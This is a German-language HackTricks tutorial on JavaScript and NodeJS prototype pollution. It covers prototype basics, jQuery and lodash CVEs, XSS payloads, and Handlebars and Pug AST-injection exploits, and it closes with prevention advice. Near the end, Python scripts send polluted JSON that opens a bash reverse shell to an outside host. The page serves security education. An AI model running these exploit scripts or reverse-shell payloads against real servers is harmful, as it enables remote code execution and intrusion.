NodeJS - __proto__ & prototype Pollution

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Objekte in JavaScript

Objekte in JavaScript sind im Wesentlichen Sammlungen von Schlüssel-Wert-Paaren, die als Eigenschaften bekannt sind. Ein Objekt kann mit Object.create und null als Argument erstellt werden, um ein leeres Objekt zu erzeugen. Diese Methode ermöglicht die Erstellung eines Objekts ohne vererbte Eigenschaften.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Ein leeres Objekt entspricht einem leeren Wörterbuch, dargestellt als {}.

Funktionen und Klassen in JavaScript

In JavaScript sind Klassen und Funktionen eng miteinander verbunden, wobei Funktionen oft als Konstruktoren für Klassen dienen. Trotz des Mangels an nativer Klassenunterstützung in JavaScript können Konstruktoren das Verhalten von Klassen nachahmen.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototypen in JavaScript

JavaScript ermöglicht die Modifikation, Hinzufügung oder Löschung von Prototyp-Attributen zur Laufzeit. Diese Flexibilität ermöglicht die dynamische Erweiterung von Klassenfunktionalitäten.

Funktionen wie toString und valueOf können verändert werden, um ihr Verhalten zu ändern und damit die anpassungsfähige Natur des JavaScript-Prototypsystems zu demonstrieren.

Vererbung

Im prototypenbasierten Programmieren werden Eigenschaften/Methoden von Klassen von Objekten geerbt. Diese Klassen werden erstellt, indem Eigenschaften/Methoden entweder zu einer Instanz einer anderen Klasse oder zu einem leeren Objekt hinzugefügt werden.

Es sollte beachtet werden, dass wenn einer Instanz, die als Prototyp für andere Objekte dient (wie myPersonObj), eine Eigenschaft hinzugefügt wird, die ererbenden Objekte Zugriff auf diese neue Eigenschaft erhalten. Diese Eigenschaft wird jedoch nicht automatisch angezeigt, es sei denn, sie wird explizit aufgerufen.

__proto__ Pollution

Erkundung der Prototypenverschmutzung in JavaScript

JavaScript-Objekte werden durch Schlüssel-Wert-Paare definiert und erben vom JavaScript-Objekt-Prototyp. Dies bedeutet, dass die Änderung des Objekt-Prototyps alle Objekte in der Umgebung beeinflussen kann.

Lassen Sie uns ein anderes Beispiel verwenden, um dies zu veranschaulichen:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Zugriff auf das Objekt-Prototyp ist möglich durch:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Durch das Hinzufügen von Eigenschaften zum Object-Prototyp erbt jedes JavaScript-Objekt diese neuen Eigenschaften:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

Prototyp-Verschmutzung

Für ein Szenario, in dem die Verwendung von __proto__ eingeschränkt ist, ist die Modifizierung des Prototyps einer Funktion eine Alternative:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Dies betrifft nur Objekte, die aus dem Vehicle-Konstruktor erstellt wurden, und verleiht ihnen die Eigenschaften beep, hasWheels, honk und isElectric.

Zwei Methoden, um JavaScript-Objekte global durch Prototypen-Verschmutzung zu beeinflussen, sind:

  1. Direktes Verschmutzen des Object.prototype:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Verschmutzen des Prototyps eines Konstruktors für eine häufig verwendete Struktur:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Nach diesen Operationen kann jedes JavaScript-Objekt goodbye und greet Methoden ausführen.

Verunreinigung anderer Objekte

Von einer Klasse zu Object.prototype

In einem Szenario, in dem Sie ein bestimmtes Objekt verunreinigen können und zu Object.prototype gelangen müssen, können Sie danach mit einem Code wie dem folgenden suchen:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Array-Elementverschmutzung

Beachten Sie, dass Sie, wie Sie Attribute von Objekten in JS verschmutzen können, wenn Sie Zugriff haben, um ein Array zu verschmutzen, auch Werte des Arrays verschmutzen können, die über Indizes zugänglich sind (beachten Sie, dass Sie Werte nicht überschreiben können, daher müssen Sie Indizes verschmutzen, die auf irgendeine Weise verwendet, aber nicht geschrieben werden).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html-Elemente-Verschmutzung

Beim Generieren eines HTML-Elements über JS ist es möglich, das innerHTML-Attribut zu überschreiben, um es dazu zu bringen, beliebigen HTML-Code zu schreiben. Idee und Beispiel aus diesem Bericht.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Beispiele

Grundlegendes Beispiel

Eine Prototyp-Verunreinigung tritt aufgrund eines Fehlers in der Anwendung auf, der das Überschreiben von Eigenschaften auf Object.prototype ermöglicht. Dies bedeutet, dass da die meisten Objekte ihre Eigenschaften von Object.prototype ableiten.

Das einfachste Beispiel besteht darin, einen Wert zu einem undefinierten Attribut eines Objekts hinzuzufügen, das überprüft werden soll, wie:

if (user.admin) {

Wenn das Attribut admin undefiniert ist, ist es möglich, eine PP auszunutzen und es auf True zu setzen, beispielsweise mit:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Der Mechanismus dahinter beinhaltet die Manipulation von Eigenschaften, so dass ein Angreifer bei Kontrolle über bestimmte Eingaben das Prototyp aller Objekte in der Anwendung ändern kann. Diese Manipulation beinhaltet typischerweise das Setzen der __proto__ Eigenschaft, die in JavaScript gleichbedeutend mit der direkten Modifikation des Prototyps eines Objekts ist.

Die Bedingungen, unter denen dieser Angriff erfolgreich ausgeführt werden kann, wie in einer spezifischen Studie dargelegt, umfassen:

  • Durchführung einer rekursiven Zusammenführung.

  • Definition von Eigenschaften basierend auf einem Pfad.

  • Klonen von Objekten.

Funktion überschreiben

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution zu RCE

pagePrototype Pollution to RCE

Andere Payloads:

Client-seitige Prototype Pollution zu XSS

pageClient Side Prototype Pollution

CVE-2019–11358: Prototype Pollution Angriff durch jQuery $ .extend

Für weitere Details siehe diesen Artikel In jQuery kann die $ .extend Funktion zu Prototype Pollution führen, wenn das Deep-Copy-Feature falsch verwendet wird. Diese Funktion wird häufig zum Klonen von Objekten oder zum Zusammenführen von Eigenschaften aus einem Standardobjekt verwendet. Wenn sie jedoch falsch konfiguriert ist, können Eigenschaften, die für ein neues Objekt vorgesehen sind, stattdessen dem Prototyp zugewiesen werden. Zum Beispiel:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Diese Schwachstelle, identifiziert als CVE-2019–11358, veranschaulicht, wie eine Deep Copy versehentlich das Prototype ändern kann, was zu potenziellen Sicherheitsrisiken führt, wie z. B. unbefugtem Admin-Zugriff, wenn Eigenschaften wie isAdmin ohne ordnungsgemäße Existenzüberprüfung überprüft werden.

CVE-2018–3721, CVE-2019–10744: Prototype-Pollution-Angriff über lodash

Weitere Details finden Sie in diesem Artikel

Lodash stieß auf ähnliche Prototype-Pollution-Schwachstellen (CVE-2018–3721, CVE-2019–10744). Diese Probleme wurden in Version 4.17.11 behoben.

Ein weiteres Tutorial mit CVEs

Tools zur Erkennung von Prototype Pollution

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Eine Burp Suite-Erweiterung, die entwickelt wurde, um serverseitige Prototype-Pollution-Schwachstellen in Webanwendungen zu erkennen und zu analysieren. Dieses Tool automatisiert den Prozess des Scannens von Anfragen, um potenzielle Prototype-Pollution-Probleme zu identifizieren. Es nutzt bekannte Gadgets - Methoden zur Ausnutzung von Prototype-Pollution, um schädliche Aktionen auszuführen - und konzentriert sich insbesondere auf Node.js-Bibliotheken.

  • server-side-prototype-pollution: Diese Erweiterung identifiziert serverseitige Prototype-Pollution-Schwachstellen. Sie verwendet Techniken, die in der Serverseitige Prototype Pollution beschrieben sind.

AST Prototype Pollution in NodeJS

NodeJS nutzt Abstract Syntax Trees (AST) in JavaScript umfangreich für Funktionen wie Template-Engines und TypeScript. Dieser Abschnitt untersucht die mit der Prototype-Pollution in Template-Engines, insbesondere Handlebars und Pug, verbundenen Schwachstellen.

Analyse der Handlebars-Schwachstelle

Die Handlebars-Template-Engine ist anfällig für einen Prototype-Pollution-Angriff. Diese Schwachstelle ergibt sich aus spezifischen Funktionen innerhalb der Datei javascript-compiler.js. Die Funktion appendContent beispielsweise konkateniert pendingContent, wenn es vorhanden ist, während die Funktion pushSource nach dem Hinzufügen der Quelle pendingContent auf undefined zurücksetzt.

Ausbeutungsprozess

Die Ausbeutung nutzt den von Handlebars erstellten AST (Abstract Syntax Tree) und folgt diesen Schritten:

  1. Manipulation des Parsers: Zunächst erzwingt der Parser über den NumberLiteral-Knoten, dass Werte numerisch sind. Die Prototype-Pollution kann dies umgehen und das Einfügen von nicht-numerischen Zeichenfolgen ermöglichen.

  2. Behandlung durch den Compiler: Der Compiler kann ein AST-Objekt oder eine Zeichenfolgevorlage verarbeiten. Wenn input.type gleich Program ist, wird die Eingabe als voranalysiert behandelt, was ausgenutzt werden kann.

  3. Einschleusen von Code: Durch Manipulation von Object.prototype kann beliebiger Code in die Vorlagenfunktion eingeschleust werden, was zu einer Remote-Code-Ausführung führen kann.

Ein Beispiel, das die Ausnutzung der Handlebars-Schwachstelle demonstriert:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Dieser Code zeigt, wie ein Angreifer beliebigen Code in eine Handlebars-Vorlage einschleusen könnte.

Externe Referenz: Ein Problem im Zusammenhang mit der Prototyp-Verunreinigung wurde in der 'flat'-Bibliothek gefunden, wie hier detailliert beschrieben: Problem auf GitHub.

Externe Referenz: Problem im Zusammenhang mit der Prototyp-Verunreinigung in der 'flat'-Bibliothek

Beispiel für einen Prototyp-Verunreinigungsangriff in Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug-Schwachstelle

Pug, eine weitere Template-Engine, ist einem ähnlichen Risiko der Prototyp-Verunreinigung ausgesetzt. Detaillierte Informationen finden Sie in der Diskussion über AST-Injektion in Pug.

Beispiel für Prototyp-Verunreinigung in Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Vorbeugende Maßnahmen

Um das Risiko einer Prototyp-Verschmutzung zu reduzieren, können die unten aufgeführten Strategien angewendet werden:

  1. Objekt-Unveränderlichkeit: Das Object.prototype kann durch Anwendung von Object.freeze unveränderlich gemacht werden.

  2. Eingabevalidierung: JSON-Eingaben sollten rigoros gegen das Anwendungsschema validiert werden.

  3. Sichere Merge-Funktionen: Der unsichere Einsatz von rekursiven Merge-Funktionen sollte vermieden werden.

  4. Prototyplose Objekte: Objekte ohne Prototyp-Eigenschaften können mit Object.create(null) erstellt werden.

  5. Verwendung von Map: Anstelle von Object sollte Map zur Speicherung von Schlüssel-Wert-Paaren verwendet werden.

  6. Bibliotheksaktualisierungen: Sicherheitspatches können durch regelmäßige Aktualisierungen von Bibliotheken eingebunden werden.

  7. Linter und statische Analysetools: Verwenden Sie Tools wie ESLint mit geeigneten Plugins, um Prototyp-Verschmutzungsanfälligkeiten zu erkennen und zu verhindern.

  8. Code-Reviews: Implementieren Sie gründliche Code-Reviews, um potenzielle Risiken im Zusammenhang mit Prototyp-Verschmutzung zu identifizieren und zu beheben.

  9. Sicherheitstraining: Schulen Sie Entwickler über die Risiken der Prototyp-Verschmutzung und bewährte Verfahren für das Schreiben von sicherem Code.

  10. Verwendung von Bibliotheken mit Vorsicht: Seien Sie vorsichtig bei der Verwendung von Drittanbieter-Bibliotheken. Bewerten Sie ihre Sicherheitslage und überprüfen Sie ihren Code, insbesondere bei der Manipulation von Objekten.

  11. Laufzeitschutz: Verwenden Sie Laufzeitschutzmechanismen wie die Verwendung von auf Sicherheit ausgerichteten npm-Paketen, die Prototyp-Verschmutzungsangriffe erkennen und verhindern können.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated